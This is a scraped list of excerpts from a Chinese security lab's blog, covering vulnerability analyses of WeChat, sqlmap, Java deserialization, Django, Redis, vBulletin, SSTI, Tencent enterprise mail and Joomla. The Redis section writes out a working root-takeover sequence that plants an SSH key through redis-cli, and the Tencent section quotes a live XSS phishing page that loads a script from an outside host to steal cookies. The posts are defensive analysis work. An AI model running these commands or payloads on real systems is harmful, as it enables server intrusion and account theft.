-
通用型微信抢红包神器(已修复)
Author: Evi1m0 (404安全实验室)
Date: 2016-02-26
本篇文章记录 2015年初时利用微信网页版红包 H5 接口实现的通用型平台抢红包神器,不同于目前市面上的抢红包外挂(模拟点击、HookAPI等)方式,当然该漏洞在15年3月便已经修复。
WebAPI
我们在使用网页版微信时无法点击领取红包,但是通过控制台查看网络包发现红包地址在 Response 中:
1https://wxapp.tenpay.com/app/v1.0/receive.cgi?showwxpaytitle=1&sendid=1000033901********10153974107&channelid=1&msgtype=1&ver=2&sign=aefc0f0fadb6f09993fb071bf3****************9b4d8020f07c351c4bb6489d60d65f7f9fb2622f977fa613cbe443f6c7279f03fff2aff18859674c978656ed45388e3f606eae42a0f8ef9014f1***********21e055163c935一条评论 -
Sqlmap 代码执行漏洞报告
Author: Nixawk (知道创宇404安全实验室)
Date: 2015-12-09
一、漏洞概述
于2015年01月27日, 我在阅读最新版本Sqlmap代码时,发现其存在代码执行问题。安全问题由python的pickle导致。
pickle 模块实现了一个基础而强劲的算法,用于序列化和反序列化Python对象结构,常用于跨平台及网络应用。在进行反序列化操作时,pickle会执行精心构造的python代码。
-
从反序列化到命令执行 – Java 中的 POP 执行链
Author: RickGray (知道创宇404安全实验室)
Date: 2015-11-25
一、什么是序列化
序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。简单的说就是可以基于序列化数据实时在两个程序中传递程序对象。
1. Java 序列化示例
-
CVE-2015-8213: Django settings leak possibility in date template filter
Author: evi1m0 (知道创宇404安全实验室)
Date : 2015-11-26近日 Django 官方发布《Security releases issued: 1.9rc2, 1.8.7, 1.7.11》安全公告,修复一个模板层 date 过滤器可能导致 Settings 信息泄露漏洞,从公告中我们可以看到的细节如下:
If an application allows users to specify an unvalidated format for dates and passes this format to the date filter, e.g. {{ lastupdated|date:userdateformat }}, then a malicious user could obtain any secret in the application's settings by specifying a settings key instead of a date format. e.g. "SECRETKEY" instead of "j/m/Y".
-
Redis 未授权访问配合 SSH key 文件利用分析
Date: 2015-11-11
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,导致一大批 Redis 服务器被黑,今天我们来简要的分析下。
一、漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
1、漏洞描述
Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
2、漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye 的搜索结果显示,有97707在公网可以直接访问的Redis服务。
根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:
全球无验证可直接利用Redis TOP 10国家与地区:
3、漏洞分析与利用
首先在本地生产公私钥文件:
1$ssh-keygen –t rsa然后将公钥写入 foo.txt 文件
1$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接 Redis 写入文件
1234567891011$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
1$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
4、Redis 未授权的其他危害与利用
a)数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。
b)代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下 一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
c)敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
5、漏洞验证
可以使用Pocsuite(http://github.com/knownsec/pocsuite)执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#!/usr/bin/env python# -*- coding:utf-8 -*-import socketimport urlparsefrom pocsuite.poc import POCBase, Outputfrom pocsuite.utils import registerclass TestPOC(POCBase):vulID = '89339'version = '1'author = ['Anonymous']vulDate = '2015-10-26'createDate = '2015-10-26'updateDate = '2015-10-26'references = ['http://sebug.net/vuldb/ssvid-89339']name = 'Redis 未授权访问 PoC'appPowerLink = 'http://redis.io/'appName = 'Redis'appVersion = 'All'vulType = 'Unauthorized access'desc = '''redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。'''samples = ['']def _verify(self):result = {}payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a's = socket.socket()socket.setdefaulttimeout(10)try:host = urlparse.urlparse(self.url).netlocport = 6379s.connect((host, port))s.send(payload)recvdata = s.recv(1024)if recvdata and 'redis_version' in recvdata:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Port'] = portexcept:passs.close()return self.parse_attack(result)def _attack(self):return self._verify()def parse_attack(self, result):output = Output(self)if result:output.success(result)else:output.fail('Internet nothing returned')return outputregister(TestPOC)二、安全建议
- 配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379
- 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
- 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
- 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
三、参考链接
- http://www.sebug.net/vuldb/ssvid-89339
- http://antirez.com/news/96
- http://www.secpulse.com/archives/5366.html
- http://www.sebug.net/vuldb/ssvid-89715
-
HTML5 Upload Folder With Webkitdirectory – Phishing
Author: Evi1m0 (知道创宇404安全实验室)
Date: 2015-11-09
Webkitdirectory
早在 12 年 Alan Layt 便写了这篇关于 HTML5 中上传文件夹新特性的文章(http://sapphion.com/2011/11/21/html5-folder-upload-with-webkitdirectory/),之后阿里做了个简单的 Demo 页面来说明这个特性配合 ClickJacking 是可以达到某种钓鱼效果的(https://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.IYip0H&id=3),基于前面两篇文章这里做了简单的 Demo 分享一下。
-
unserialize() 实战之 vBulletin 5.x.x 远程代码执行
Author: RickGray (知道创宇404安全实验室)
Date: 2015-11-06
近日,vBulletin 的一枚 RCE 利用和简要的分析被曝光,产生漏洞的原因源于 vBulletin 程序在处理 Ajax API 调用的时候,使用
unserialize()
对传递的参数值进行了反序列化操作,导致攻击者使用精心构造出的 Payload 直接导致代码执行。关于 PHP 中反序列化漏洞的问题可以参考 OWASP 的《PHP Object Injection》。使用 原文 提供的 Payload 可以直接在受影响的站点上执行 phpinfo(1) :
-
服务端模板注入攻击 (SSTI) 之浅析
Author: RickGray (知道创宇404安全实验室)
在今年的黑帽大会上 James Kettle 讲解了《Server-Side Template Injection: RCE for the modern webapp》,从服务端模板注入的形成到检测,再到验证和利用都进行了详细的介绍。本文在理解原文内容的基础上,结合更为具体的示例对服务端模板注入的原理和扫描检测方法做一个浅析。
-
腾讯企业邮箱跨站漏洞分析
Author: Evi1m0#KnownSec
中午朋友发来一个帖子询问我《朋友 6S 被偷了,小偷(可能是团伙)发来链接偷取 APPLE ID》是什么原理,之后和 RickGray 看了下是利用腾讯企业邮箱的 POST XSS 进行的盗取登录操作,从而登录受害者邮箱获取 APPLE ID。(目前腾讯已经修复此漏洞)
Target: http://eeee.washbowl.com.cn/
View-Source:
源码写入两个 iframe ,恶意代码在 /htmlpage5.html 中:
1234567891011121314151617181920212223242526272829<html><head><meta charset="utf-8" /><title>qqjs4</title></head><body><script>function test(PARAMS) {var temp = document.createElement("form");temp.acceptCharset = "utf-8";//By Wfoxtemp.action = 'http://m.exmail.qq.com/cgi-bin/login';temp.method = "post";temp.style.display = "none";for (var x in PARAMS) {var opt = document.createElement("textarea");opt.name = x;opt.value = PARAMS[x];temp.appendChild(opt);}document.body.appendChild(temp);temp.submit();}test({uin: '\\"</script><script src=http://ryige.com/q/8></script>',});</script></body></html>脚本创建 action 目标为腾讯企业邮箱的登录地址 form 表单,调用 test() 函数传入 uin 的参数值为 XSS Payload。
// 这个 POST 反射型 XSS 是由于企业邮箱登录报错未做过滤处理导致:
参数 uin ,攻击者注入 http://ryige.com/q/8 脚本:
Payload 将获取企业邮箱的 document.cookie & document.referrer 并发送给攻击者。
注:因腾讯企业邮箱不仅仅需要 Cookie 还需要登录成功后 URL sid 等信息;
-
Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
Author: RickGray (知道创宇404安全实验室)
Date: 2015-10-23
昨日(2015-10-22),Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。
一、原理分析
在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中: